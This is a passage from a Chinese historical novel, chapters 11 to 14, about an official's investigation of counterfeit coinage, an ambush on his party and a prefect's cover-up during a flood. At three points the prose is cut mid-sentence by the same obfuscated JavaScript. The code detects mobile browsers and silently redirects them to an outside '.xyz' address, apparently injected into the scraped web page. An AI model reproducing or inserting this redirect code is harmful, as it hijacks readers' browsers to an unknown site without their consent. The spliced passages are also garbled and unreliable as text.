都说上善若水，这缓缓填满船舱的水却有种鬼祟之气，引得一个舱室的囚犯们皆开始声嘶力竭地哀嚎着。慢慢地，水没过他们的嘴巴，众人噤了声，鼻子里吐着气，时不时发出呜咽的声响。 水仍在往舱底灌着，不知疲倦地，这些囚徒也不知疲倦地挣扎着，但任凭他们如何甩动手腕，那枷锁仍嵬然不动。 于是水继续往上攀，攀过几人的鼻尖，那几人慢慢没了声响，几个个子高的囚犯奋力伸长了脖子，感受着水像阴凉的蛇一样缓缓圈住脖颈，船舱里陷入一片死寂…… 这时，船舱上方突然透出一丝光亮，原来舱门竟开在上层的地板处。几个身着黑衣之人翻身跳进水里，用钥匙将囚犯们的枷锁打开，将他们一个个地拽了上去。 一个囚犯被甩到地上，借着力道狠狠从肺里挤出一口水，只不过水吐出去以后，他已经是出气多进气少。 此人感觉自己被人架起两只胳膊拖行了出去，时而苏醒时而昏迷，不知过去了多久，似乎感受到了屋子里炭火的暖意，他倏然睁开了眼。 发觉自己这十几天来第一次趴在了坚实的地板上，囚犯心中正想舒口气，却听背后有两个脚步声靠近，一个年轻的男声道：“郎君，这应当就是那李穆。” 李穆看见一双黑色的油膀夹靴缓缓走向了自己，勉力想抬头往上瞧，此时，那个被唤作郎君的男子的声音自上方传来，即便暖炉在侧，仍旧让他浑身泛凉。 “将他扶到椅子上去。”谢闻皱眉道。 11.第 11 章 李傕被人从地上抬了起来。 他在船底站了不知道多少日，腰疼得完全直不起来，哪里还能坐得住，只能瘫在凳子上，两眼横斜打量起四周。 模糊的视线渐渐收拢，李榷看见自己处于一屋室内，几根长烛照得满室通明。他身旁没有别的囚犯，只他一人，除开靠近他说话的二人，另有两个腰悬配剑站在角落的男子，李榷猜测最后说话之人是面前着墨绿袍衫看着他的人。 此人通身没有配饰，李榷长于市井，最好通过衣着推断其人出身，墨衣男子虽不漏分毫，但他眼神沉凝，仿佛能洞穿人心，即便男子此刻一言不发，周围人却都在注意着他的一举一动。 这是手握重权之人才有的威仪。 实在辨不清他们的身份，李傕哆哆嗦嗦开口道：“你们想从我这里得到什么？” 谢闻上下扫视了他一眼，说：“你可知光宗尧庆年间所用铜钱叫什么？” 李榷一愣，呛咳了两声，说：“尧元重宝。” 谢闻将两枚铜币拿在手中，分别以左右手捏和，问：“哪一枚是尧元重宝？” 他话音未落时，李榷便已变了脸色，待他问完话，李榷偏垂下头，好似体力不支。 谢闻对身后的德庆交代道：“叫黄笤进来。” 过不一会儿，德庆带着一个拎着木箱子的人进了屋子，后者甫一打开箱子，李榷便惨叫一声，说：“我说，我说，我都说……” 德庆瞪了他一眼说：“省着点力气。”说完将他从椅子上扛起，好似放一摊猪肉似的将他放到了一旁的榻上。 那箱子盖上挂着一排粗细大小不一的金针，在烛火映照之下有几分可怖，李榷以为这是要对他刑讯逼供，嘴里开始念念有词：“我……我只是跟着同乡，他说那地方赚钱，我也不知他们是做什么的，但我缺钱啊，大人，大人，您是大人，大人不记小人过……我跑了，我待了几天就跑了……我看见他们在做什么，我知道这赚再多钱也是要杀头的，不是官府来杀头，就是那帮人杀头，我吓得赶紧跑了……” 李榷说着说着，黄笤手夹两枚金针，分别扎进他的内关穴和神门穴，此二穴稍缓心神，李榷的声音慢慢低了下去。 黄笤扒开他的眼皮观察了一会儿，又抽出两针，寻到李榷颈部正中的天突穴扎下，随后在肺俞穴施诊，这两针下去，李榷突然翻了个身，口中喷出一股腥水。 “人呛水后容易肺气上逆，反而将水都淤堵在肺里，吐出来就无大碍了。”黄笤对谢闻说。 谢闻颔首道：“我曾见有人溺水，救起后不到两日却猝然离世。” “确有这样的案例。”黄笤说：“不过这一路你们都是按我的吩咐将他头朝下带回来的，他方才吐出来的便是肺里最后的积水了。” 李榷听他二人所言，才知谢闻是要救自己的命，但这一口水吐出，他已然浑身脱力，再说不出一句话。 谢闻睨他一眼，对身后持剑二人道：“看好他。” 他和德庆、黄笤离开了里屋，原来里屋的窗扇皆被衾被所盖，给人一种入夜之感，其实已是巳时，只不过天空阴沉，不时便会下几刻钟的雨。 “郎君，不抓紧问话吗？”德庆低声问。 “此人脉象极虚，几乎是吊着一口气。”黄笤道：“若要问话，起码还需调养三日。” 谢闻回身看了一眼黄笤，说：“一日，我只给你一日时间。” 三个月前，尚在汴京的谢闻接到密报，说柳州铸钱监盗取官铜、私铸铜钱有数年之久。他领皇命为常平司提举，此司职可征收矿税，于是他初到广右便查阅了此地近五年的矿税。 单看那账册，谢闻并未觉出其中有什么不对劲，即便是动过手脚，只要盘查过矿户，便能对本地的矿量心中有数，且广南西路并非产铜重地。 大兆初年，铜料稀缺，钱比物贵，但随着天下渐安，矿利寖兴。广南西路的贺州产锡最盛，有着“八步响锡”的美名，锡乃铸钱不可阙之物，朝廷也曾以夹锡钱来填补铜钱的需求，因此在贺州以西的柳州设立了铸钱监，铜料由他州调用。 显宗年间，民间突然出现了不少私铸的尧元重宝。此钱币含铜量极低，制作时掺入了铅锡沙泥，表面粗粝不堪，极易断裂，被戏称为“沙毛钱”。起初，沙毛钱在江南路被发现，此等劣币使得江南东西两路米价飞涨，险些酿成当地民乱的大祸。 当时，江南东路恰有饶州这样的铜矿富足之地，显宗遂命人查处当地的铸钱监，并颁布禁令禁止流通沙毛钱，但私铸铜钱往往与官铸铜钱混用，屡禁不止，后来甚至在广南东路、荆湖域内乃至淮南地区皆发现了沙毛钱。 新帝上位后，命人暗中调查前朝未尽的沙毛钱案。谢闻离京前，孙向愚曾嘱咐他道：“沙毛钱一事可大可小。就这么一枚小小的铜钱，涉及盐铁三司、提举坑冶司、转运使司以及各地监场，你说，这其中哪一处不是由皇亲贵胄把持着？以你一人之力，岂能撬动这么多座大山？” 谢闻听罢，只沉默着点了点头，但孙向愚许是太了解他这个徒弟，最终长叹了一口气道：“你的脾气，也是该磋磨一下了。” 谢闻道：“老师，陛下修常平法以助民，稻改以后，春、秋两贷虽纳利极少，但皆需以钱还贷，若百姓所还之钱中混入那沙毛钱……” 见师父端着茶盏不语，谢闻稍低了低头，说：“老师您也曾教导我，不遇盘根错节，何以别利器乎？陛下既然派我去查此事，便是要我一查到底罢。” 孙向愚重重放下茶盏道：“莫要打草惊蛇。” 由此，趁着雨势瓢泼，各州颓乱之际，谢闻带着亲随从静江府南下。 谢闻心里清楚，自他踏出静江府衙的大门，各州府便会接到线报。那封递入京里的密报虽意指柳州铸钱监便是私铸沙毛钱的主谋，但他却觉得似有人刻意引他前去探查。 仅从铜料上来看便疑点重重。 广右产铜极少，即便是要铸沙毛钱这样含铜量极低的钱币，也需额外的铜料。然而，无论是漕运还是矿税，谢闻查阅以后并未发觉官铜的数量核对不上。 不过那日，亲随何昉的一番话却给他辟了一条路。当时，何昉被唤进屋内点灯，发现昨日的油灯里尚有许多灯油，说：“这省油灯在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009016|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广南所耗竟比在汴梁还少。” 谢闻从书案前抬起头，看了一眼那小碗状的绿釉灯，释道：“广南天气炎热，水温与油温相差甚远，且水汽蒸腾得快，反而能够省油。” 他说到此，突然眸光一闪道：“何昉，你倒提醒我了。” 何昉不知谢闻想到了什么，但见郎君眉目见喜，起身出了屋子。 数日后，谢闻快马扬鞭，在雨幕的掩映下拐道来到了桂平县，从监牢船中救下了这位名叫李榷的囚犯。 李榷为官府打上烙印的惯偷“掠子手”，其父本是世代为匠户的铁匠，因无钱缴纳代役金，在广南东路的祯州铸钱监服役数年，后因工钱被克扣出逃为流民。据说，此人在铸钱监时曾使过一种铁炼铜的法子，用同等重量的铜镏，与旧法相较，能增加铜的产量数倍。 李榷的父亲出逃后，流转于广南西路的几座私矿，攒下些许钱财成家，得李榷一子。他们家在本路无籍，李榷幼年矢怙，在街市间混迹长大，好行剪绺偷窃之事。此人屡屡被抓，积案盈寸，最终于年初因盗窃二贯钱却失手杀死事主遭捕，被判流配琼州。 方才李榷瘫坐在那，神志不清，却言之凿凿说自己只是随同乡去过那处地，谢闻知道，他被招募必然是因为他父亲的炼铜法。只不过不知他是真的意识到那处不对劲后逃走，还是因为无法效仿其父，被赶了出去，亦或是他已然交出了家传的炼铜法，才得以保全信命。 他最初提阅李榷的犯案卷宗时便发现些端倪。 文卷上书，此人于夜里在街上窃了一人二贯钱，第二日那失主在家中被发现遭利刃刺死。谢闻想，李榷这样的掠子手总不至于钱财到手又尾随至屋内杀人，此案疑点颇多，似有人想将李榷暂时移徙他处，最终出此下策。 为救李榷，谢闻命人在水下布置木石撞击船舱，虽溺死几位重犯，但其人多是作奸犯科之辈，又寻来了仿照李榷身形的尸首，瞒下了他尚存于世一事。可惜经这一折腾，李榷俨然半截入土，谢闻知道即便再急迫，也需等他恢复气力，才能从其口中得到自己想要的。 这一等，便过去了一天半的时间，李榷一直处于半梦半醒的状态，人也发起热来。 第二天傍晚，向来沉得住气的德庆有些坐不住了。他知道谢闻这一趟来桂平是利用从静江府到柳州的间隙而行，时间愈长，郎君不现身柳州，那背后布局之人恐会知晓谢闻另有打算。 “郎君，若他一直不醒，我们当如何是好？”德庆忧愁道。 谢闻沉吟半晌，道：“今夜他若还不醒，我只能留你在此地，待他醒来后一路护送他和黄笤回静江府。” 德庆知道谢闻这是准备动身了，立刻反对道：“郎君，若我走了，何人护你！” “何昉在即可。” “何昉功夫不如我。”德庆一字一顿道。 “所以才让你送他回去，此人是目前唯一的人证和线索。”谢闻沉声道：“有多重要自不必我多说。” 德庆知道，谢闻下定主意之事无人能改，入夜后，他只好目送谢闻带着何昉和另一位亲随冒雨上了路，往那柳州而去。 12.第 12 章 黑云吞月，雨幕垂天。 谢闻一行人策马而行，三个时辰后进入了达象州域内。众人所行山路南面临江，北面为岩石，偶有几处石穴向内深掘，不及骑在马上的人高，隐约可见其中嵌入了几尊佛像。 “此处应该临近西山寺了。”谢闻说。又行几里，江边出现了成片的野寺、草庵，庐空人去，蒲草都有屋墙那般高。 此时恰好雨停，虫鸣声四起，人困马乏，谢闻回首看了一眼身后二人，道：“歇息一会儿，天明再赶路。” 三人寻了一间屋瓦和四壁尚算全的小庙，将马匹牵入檐下栓好，何昉寻来些润湿了的枯枝，好不容易才将火点了起来。 谢闻身旁另一人叫朱达志，是孙向愚派到他身边的。此人乃京东东路青州人士，生得人高马大，但颇不喜岭南的气候和吃食，南下的一路抱怨不迭。 朱达志对何昉道：“你热几个饼子，我们吃了好睡。” 谢闻冷瞥朱达志一眼，后者并未觉察，起身环顾四周，伸手拍死了一只停在衣袍上的飞虫，嫌道：“这周围有些阴森气，像是直通黄泉蒿里。” 何昉听他所言，打了个寒颤，谢闻道：“这里平常可供行路人和船夫歇脚，江畔那些桩子都是停船的。只不过近日多雨，几个州县停航，此处才略显荒凉。” 朱达志听出谢闻语气里的不悦，悻悻不语，从行囊里找出羊皮铺在地上，合衣躺下了。 何昉见他这是要睡去了，撇撇嘴，将谢闻要歇息的地方用衣袖清扫了一番，铺了些寺庙里的干草，随后铺上毡毯。 做完这一切，何昉转身见谢闻正盯着那火光正出神，走上前低声问询：“郎君还不歇息？” 谢闻默了一会儿，开口道：“何昉，待我们处理完柳州的事情，回到静江府，那观氏……”他说到这里，改口道：“府上便会有女主人。” “夫人到了？”何昉面上一喜，却见他家郎君眼中的火光如淬刃，面色微沉，立刻收敛了自己的神色。 谢闻偏头看他一眼，淡淡道：“你只见过她一面，竟这么欢喜？” 听他这么一说，何昉脑海中回想起大婚第二日初见观娘子的场景。 谢闻的亲事虽仓促，但自圣旨下，他便命人去扬州将舅父一家和母亲接来了汴京。他幼年丧父，舅父钱礼汝即为亚父，因此大婚隔日，新妇谒见亲属时，主位上便坐了钱礼汝和谢闻母亲二人。 按照习俗，新妇先拜镜台，次拜亲长，随后便要呈上她亲手绣制的彩缎、巾帕、鞋子等。当她身后的嬷嬷端来那织金夹银的织物时，在场之人皆倒吸口气，何昉尤其记得那张由缂丝镶边的罗纱手帕，上绣鸟衔海棠，花瓣竞相绽放，叫人仿佛置身于花树之下，能闻到阵阵幽香。 钱氏与站在她身后的舅母赞许了一会儿，回过身对观棠道：“新妇，这手帕好似能闻见花香。”又追问她如何做出此帕。 跪在下首的观棠听了此话，莞尔一笑，雪靥微红，竟压罗帕之上的海棠春色。 只听她款声道：“取海棠花枝上的露水，浸泡罗纱和绣线十几日，日日换一道花露水，便能得到这样的花香巾帕。娘娘喜欢便好。” 谢闻在旁听得频频皱眉，她果然是个公侯娇女，费如此大的功夫，却只是为了一张帕子。 见侄儿面色不虞，坐在一旁的钱礼汝心下微叹。 自那引得朝野上下纷争偃息的新旧联姻一事传入扬州，他便知道自己这侄儿定会对这桩婚事不满。当年他傲骨铮铮，宁愿让谭氏毁了他的历纸都不愿与那等旧党大族扯上干系，观氏女的父亲虽是个小京官，但那还不是因为她伯父观闳手握重权。 即便大兆如今行重文抑武之风，观家仍是世代掌兵的豪族，只不过殷鉴不远，官家不会效仿前朝削藩时赐钱百万、田宅千顷的手段，让这等封疆大吏裂土称雄。 将观氏女赐给谢闻，实在是官家走的一步妙棋。 钱礼汝思及此，开口道：“涓娘，咱们也需答贺新妇。” 钱氏招了招手，身后的嬷嬷端来了一整套的银鎏金狄髻头面，以及一枝并蒂莲玉簪。 钱氏道：“这是你舅父命扬州工匠赶制的，恐怕不及你嫁妆里的簪钗精美。” 观棠未料到钱氏是一个如此话直之人，又觉她是无心，但她身旁的舅母显然听见此话面色微凝，忙道：“承蒙娘娘和舅父、舅母怜爱，这是三娘的第一套狄髻，自是十分欢喜。髻立中馈，簪绾同心，长辈的苦心三娘铭记于心。” 见身畔之人语气真切，谢闻挑起眉头，心中想，即便是演，她也演得确有九分打动人心。 观棠这一番话下来，不光满室女眷，就连立在一旁的何昉心中也对这位未来的谢家主母新生好感。他觉得观棠不光样家世貌生得一等一，拜见钱氏时举止得体大方，并无他想象中的慑人傲气。且她呈给钱氏如此繁复精美的绣品，不就是为了讨得自家郎君的母亲、她未来的婆母欢心吗？ 何昉心中所想并不会对谢闻直说，他只道连他都能看出来的事，郎君肯定也会记在心里，对娘子心怀感激。 可惜郎君明日便要南下，与观娘子分离，这一路山高水远，道路艰险，唯愿娘子平平安安到达郎君身边。 抱着这样的想法，乍听郎君说观娘子不日将抵静江府，何昉自然心中欢喜。 “郎君，你不欢喜吗？娘子来了便是当家主母，我娘常说，宅子里有了主母，万事万物才有主心骨。从此以后郎君在外奔波，回到家中，总有一盏灯是为郎君点亮的，总有一碗温汤是为郎君所盛。” 见他说得如痴如醉，谢闻轻笑一声道：“我看你是到了该成家的年纪了。” 何昉大方道：“是，郎君，我也这么觉得，可惜我正值壮年，却陪郎君来了这瘴疠之乡。我看呐，郎君你一时半会儿也是回不去京城了，真不知我什么时候才能娶得贤妻。” 谢闻失笑道：“好好好，我不日便给你择一位此地的侗族女子。我听闻他们当地有个习俗，每年农历十月的第一个卯日，会为寨子里适婚的青年举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020124|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办婚礼。侗族仪式简朴，且无须备嫁妆彩礼……” 谢闻方说到这里，语气一顿，何昉还等着听下文，却听“铛”一声，原是谢闻拔剑挑开了射入屋内的一柄寒簇。 这一声动静极大，且那朱达志本就是伏身假寐，他一个翻滚起身，抓起剑寻了个墙角处喝骂道：“藏头露尾算甚好汉！没卵子的玩意儿，佛前放冷箭，怕不是你娘生你时脐带绞了脖？” 朱达志嗓音浑厚，便是屋内之人听了胸脯都要震上一震，但屋外却悄无声息，仿佛那枝箭只是从什么地方掉落。 谢闻看着地上的箭簇，疑心他们是这附近的土寇，清了清嗓出声道：“诸位，我们只是路过此地，天明便走……” 他话音未落，又听“咻咻”几声，更多的箭雨破窗而入。 谢闻观那来箭的数量，知道屋外定是有八、九个人，暗道不好，他们三人即便是能以一敌三，敌人在暗他们在明，已经落了下风，且暗箭难防，尚不知敌人还有没有后援。 况且，他和何昉只是后天练过些拳脚剑法，他们三人中仅朱达志功夫尚佳，若真遇上了事儿，恐怕会互相拖累。 想到这里，谢闻咬了咬牙喊道：“我乃广南西路经略安抚使谢少行，诸位可知刺杀三品官员是何等罪名？” 谢闻这一路南下，所遇匪祸频多，但他清楚，大半都和他这经略安抚使的身份有关。他报上姓名，为的是若这帮人只是路过劫匪，便可威慑一二，但若真是冲着他的名头而来，今晚恐怕将是一场苦战。 片刻的死寂后，顷刻间又是数箭齐发。 这下谢闻心中明了，这些人确确实实是冲他而来。 * * * 德庆守了李榷两个日夜，坐立难安，黄笤看不下去，恨不得给他也扎上两针。 “黄大夫，这李榷究竟什么时候能醒来？”德庆苦着张脸道。 “如今他醒不醒，倒也不耽误我们回静江府。”黄笤把完脉，拧了两日的眉终于舒展开来，语气轻松道。 德庆听了反应过来，立刻站起身道：“我这就去赁车！” 可惜即便是上了路，为着病人的病情，他们这一路走走歇歇，又逢雨天，山路难行，时不时还有山崩阻路，过了七日才抵达静江府。 德庆方回到谢府，便见狄良一脸慌乱地迎了上来。 “郎君呢？”狄良直往他身后望。 德庆鲜少见到府中管事这般，心中一跳道：“郎君另有他事，与我分开了。狄叔，不会是郎君出事了吧？” 狄良摇了摇头，说：“不是郎君，是夫人！” 德庆怔忪片刻，道：“夫人？夫人到了？” “夫人被困在梧州城内了！城困之前，夫人散了家丁，那些家丁一路奔逃，路上还死了一个，昨夜才寻到府中。他们都指着郎君调兵前去梧州城救夫人……”狄良说到这里，望着一路驾车归来，满脸泥泞都掩不住疲态的德庆，深吸了一口气道：“你先去换洗歇息，营救夫人之事，我们晚些商议。” 13.第 13 章 是夜，衙城官廨旁的幽室内虽有灯烛，但无人入内点灯，一片漆黑中，被囚于此间的梧州通判李诚昭正半跏趺坐端坐着。 举着灯烛踏入屋子的知州徐继昌见他以礼佛姿势闭目静心，放下灯烛和食盒道：“茂言兄，你莫要怨我。” 李诚昭暗哑道：“你把姜丕也一并关押了？他可是殿前司虞候，常伴御驾。” “小小武官，竟敢强命烽候长点燃烽台，真是反了天了。你放心，司理参军已经在撰写款状了，他的罪名不会比你小。” 李诚昭睁开了眼，看着微弱灯烛下的徐继昌。 此人是典型的嘬腮之面，颧骨凸起，在广右做官数载，日照雨淋，肤色却透着一股青白，就连昏黄的烛光都未照暖半分。 李诚昭的目光缓缓移向那个食盒，说：“怎么，你是来送我最后一程的？” 徐继昌没有接话，只是自顾自地打开那精美的描金漆盒。食盒共三层，两道凉菜三道热菜，看到最下面放着的一道鱼鲊，李诚昭突然瞳孔收缩。 徐继昌并未抬头，边端出鱼鲊边淡淡道：“茂言兄，这可是你家乡的菜。” 李诚昭看着摆满了一桌子的菜肴，讥笑一声道：“如此丰盛……官仓存粮还有多少？三千石？” “三千三百五十二石。”徐继昌突然报出精确的数字，声音也高了些，“这是今晨最新的盘点。按每人日食半升算，整个梧州城七万九千口人……”他顿了顿道：“若大开衙城，这些粮恐怕只够全城百姓吃不到十天。” 李诚昭沉默地将手伸向筷子。 徐继昌看着他夹起鱼鲊送入嘴里，心满意足道：“广右缺粮，也不是这一两日的事了。不过你大可放心，再过二十天，转运司的漕船就会到达梧州。到时候洪水退去，百姓得粮，这天地日月，不还是照常运转。” 李诚昭放下筷子，细细品尝着口中之味，随后摇了摇头，颇为遗憾地说：“厨子不行，白白浪费了一条好鱼。” 徐继昌听出他的言外之意，悠哉道：“是吗？改日我叫这厨子再好好重做一遍，可惜……你是吃不上了。” 李诚昭轻笑一声，又拿起筷子夹了一块鱼鲊，看着他的动作，徐继昌脸上竟然露出了钦佩之色。 “不会，我可以教。”似是被鱼鲊的味道刺激口内，李诚昭嘴唇轻颤，皱眉道：“广右缺粮，只是因为蛀虫太多。” “哦？说来我听听。”徐继昌撩起衣袍，端坐在了李诚昭对首。 “去岁郁江水漫，你言说邕州能招辑流民，给田除租税，迁走了一千二百户百姓。邕州上书朝廷，领了官贷种子的钱、耕牛的费用，结果秋收时，常平仓去收粮，发现十田九荒，原来一千二白户里半数都未迁走。邕州说是梧州虚报了近半流民数，梧州又说是有人不愿迁走，如此反复，那贷粮和耕牛的钱朝廷可是实打实地赈济了下来的。秋后，种钱、牛价都要收回本息，你们又强行摊派到百姓手中，百姓无法偿还，你们竟将户主送入牢中，动用鞭刑来催逼……” 徐继昌听到这里，面上竟露出津津有味之感。见他神色如此自得，李诚昭怒极反笑道：“你放心，我所言之事，皆已搜集证据，呈报到静江府那位新任的经略安抚使府中了。” 徐继昌笑了几声，道：“天真！你以为那谢少行真能在我们的地界大刀阔斧，实行稻改？广右多山林，耕地大半被那羁縻州洞的土司所控，另有三分之一在豪强大族手中。即便他常平仓稻种盈仓、贷钱如山，又向谁予？莫非指望那些刀耕火种、身系土司的峒丁不成？还是凭那些个在城外扒门哭嚎的贱民？” 李诚昭听到这里，目眦欲裂地望着徐继昌道：“你为州牧，本该是百姓的衣食父母，竟将自己的子女视作贱民……锁闭城门，任他们溺死于洪流之中，还命官兵驱赶他们……徐继昌，你有没有想过，这些人都会死在万足相践之下！别以为你是官，他们是民，这些事就踩不到你身上！”他说到这里，猛地咳了一声，随后胳膊撑在桌子上，面容扭曲，十分痛苦，连指甲都深嵌入了那木桌面。 “徐继昌，你瞒报灾情……激变良民，制御乖方……导致梧州城陷至此，实在……实在是罪孽滔天。”李诚昭的脑袋慢慢磕向桌子，他努力抬起头，眼睛仿佛被从五官上挤了出来，死死地盯着对面之人恨骂道：“你等着……日后我……我必带你下去……” 看着眼前死不瞑目之人，徐继昌静坐了片刻，随后起身道：“李通判滋扰州务，擅自燃烽火引百姓惶恐，已畏罪自戕。来人，拖走尸身，验明正身。” 守在幽室之外的几位官兵推门而入，将李诚昭尚未僵硬的身子拖了去，随后司理参军迈步进来躬身道：“大人，那戎墟水寨的船还在江面上。” 徐继昌眉头拧起道：“派去的人怎么说？” “水势湍急，那蓬舟刚行到一半就翻了，死了四个兵士和一个蜑民船夫。一时半会儿倒有些靠近不得。”司理参军闻着屋内一股腌制得酸腥的鱼鲊味，愈发小心翼翼道：“会不会……是城外的俚僚要闹事？” 徐继昌摆了摆手，说：“不可能，海鳅船需要十数名经验丰富的船夫配合操作才能航行于水，那些不识樯橹的俚僚夺了船也无法驾驭，且他们停船两个时辰有余，要闹事，早便派人进城了，恐怕是咱们派去水寨的人引起他们的警觉，这想着才来查探一番。” 见那立在一旁的司理参军似还在忧虑，徐继昌道：“罗城如今尽数被淹，这种大船一时半会儿尚无法靠岸。依你所说，小船行船便翻，我们坐拥兵马营厢军，守好衙城便是，旁的都不用管。”徐继昌说到这里，混沌的眼珠子里迸出一抹精光，“况且，若真是那些个俚僚水匪在暗中伺机而动，倒可将死在衙城外的人尽数算在他们头上。” 司理参军转瞬明白他的意思，脸上露出一抹谄笑。 * * * 雨停了，但那停在涛涛江水上的海鳅船周围此刻骤起弥天江雾，仿佛被一只蛰伏在暗夜里的巨鳌张开嘴吞噬掉一般。 观棠自上船起便咳嗽加剧，想她在那水中被栾慧捞起，便已是九死一生，又一路神经紧绷，在水寨与知寨等人周旋，天色渐黑以后，她身上突然开始发起热来，连带着浑身上下的骨缝间也忽冷忽热得，十分难耐。 栾慧见状急得不行，船上没有医官，只有一些治外伤的草药，他只好碾了一些药汁浸湿巾帕敷在她的额间，祈求她快些退烧。 “这样下去不行，”赵令羽道，“我带三个人进城去给夫人寻些药，顺便探探城内情况。” “如今三座城门皆被淹没，你们如何进得去？”栾慧问。 “自是要寻些路子。” 赵令羽先前听栾慧说了他们当初三人出城的法子，也知文四失踪一事，栾慧观他所言，估摸着他要另觅别路。 赵令羽点了几个人，又命桨手驱船靠近罗城东侧的城墙。那大船匿于水雾之中，悄无声息地靠向了城墙，随后，赵令羽取来一枚像弩的机关武器，往城墙上一投，武器飞爪出，竟精准而牢固地扒在了城垛上。 “当初船上那一箭是你射出来的！”栾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026682|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧眼睛一亮，随后很快变了脸色，说：“你险些伤到夫人！” 赵令羽哼一声道：“从我手中所出飞箭，我叫它没入一厘，它便只能没入一厘。” 栾慧见他模样桀骜，心中生疑，想着这人从前在军中恐怕也是个百夫之雄，竟然因私贩之罪配牢水寨，只是不知个中曲折了。 黑暗之中，水寨众人倒吊于绳，恍若山魈木客似的攀上了城墙。见最后一人安稳落地，栾慧激动不已。 城墙之上，赵令羽清点完人，取下飞爪收好绳索，一行人就这样遁入了黑暗之中。 栾慧看了眼远处尚有灯火的衙城，以及漆黑一片的罗城，心中微叹。 回到船舱内，栾慧守着昏睡的观棠，就这样过了一夜，天边残月如钩，东方既白之时，观棠面上的潮红褪去，睁开了双眼。 她伸手摸了摸自己额头上已经半干的巾帕，看着盘腿坐在墙边熟睡的栾慧，轻咳了两声，栾慧立刻醒了过来。 “夫人！”他起身快步走到观棠身边，说：“好些了吗？” “烧了这一夜，倒像是烧掉了些什么不干净的东西。”观棠嗓音沙哑，眸光却很清亮。 栾慧见她如此，却并不欢喜，观棠半坐起身问：“怎么了？” “昨夜那赵队将带了几个人进城了，至今还未归。临走之前，他吩咐船上的这些兵卒，天明时分若他还未回来，便要把船移到江心。” “什么时辰了？” “卯时初刻。” 卯时初刻，天光乍亮之时。 观棠从那木箱子堆积的简易卧榻上翻身而下，脚踩于地的时候身子晃了晃，栾慧赶忙扶住她。 观棠站定了一会儿，缓过神道：“你去问问有没有些吃食，我需要吃点东西恢复力气。” 栾慧应声出去了，过不一会儿拿回来一个干饼子和一个水囊，观棠默不吭声地塞入嘴里吞下，恢复了些气力，离开船舱来到了甲板上。 海鳅船此时还停在靠近城墙之处。雾散去后，水势改变了周遭地貌景象，与船的桅杆齐头高的城墙出现在众人面前，颇有一股威压，使得甲板上的兵士们皆肃穆地望着。 观棠知道他们是在等赵令羽回来，心生懊悔，若赵令羽真的陷入了险境，又有谁能搭救呢？正胡思乱想着，突然见城墙上出现几个人影，定睛一看，正是赵令羽等人。 观棠心下一喜，仓促问栾慧：“他们如何上得甲板？” 栾慧浅笑道：“夫人且看吧。” 赵令羽如法炮制，使飞爪回到了船上，他甫一落地，见观棠站在面前，喜道：“夫人好些了？” 观棠点头道：“好多了。” 面前之人脸上的喜色很快散去，观棠看一眼他身后纷纷归来的兵卒，有的人身上稍有挂彩，便问：“可是遇到什么……” 赵令羽摇头打断她道：“我们进内里说去。” 几人回到舱内，赵令羽坐下猛灌了一口水，随后道：“夫人，罗城如今……俨然已是人间地狱了。” 观棠与栾慧对望了一眼，只听赵令羽继续道：“罗城的水已经快漫到那城墙处了，官衙竟然封了两城之间唯一的城门！我们这一路所见，不提那些溺死水中的百姓，尚能行脚之地，老弱妇孺被推搡在地，遭慌不择路者踩踏而死……有的青壮男子身背竹篓，篓子里装着他年幼的孩子，试图攀过那一丈五高的城墙，结果那些守城吏竟然用长矛戳其面，迫他摔下去……” 赵令羽一介军汉，说到此处，实在难捱，两行泪自他眼中流下。 14.第 14 章 舱内片刻沉寂后，栾慧道：“如今封城不过一日，罗城就乱成这样了，那季安他们……” 文四、栾慧、杨季安以及齐康四人便是观棠的伯父送到她身边助她南行的，其中仅齐康有妻儿，观棠将他留在仆妇身边好作照应。杨季安最年少，尚未及冠，栾慧在四人中行二，杨季安喊他栾二哥，但他是广南东路人士，总是喊成“兰厄哥”，让人取笑，但栾慧倒是对他多有照拂。 只是提到杨季安，难免想到在水中失去踪迹的文四，栾慧一时神色暗淡。 方才赵令羽言说罗城惨状时，观棠已想到了青红等人，不知她们有没有在城门被关前往衙城去。观棠心中万分懊悔，她当时并未令她们立刻去衙城，因为若钟嬷嬷携那些仆妇们只身前往衙城，待徐知州等人返回，便会立刻发现她离开罗城之事。 自己一时的私心竟有可能害得客栈里诸人丧命，观棠感觉此刻自己后脖颈如千枚冷针刺入，手心也微微发麻。 这就是离开了汴京城，离开了一直被观家这棵大树庇荫的自己吗？ 她在心中痛骂了自己一番，心中默道“知止而后定”，若青红她们尚被困在罗城，此刻唯一的希望就是自己。 * * * 府衙的高墙内，徐继昌正悠闲地用着早膳。 一碗肉糜粥，几盘解腻的腌菜，还有一碟子糕点，瞧着十分素净。 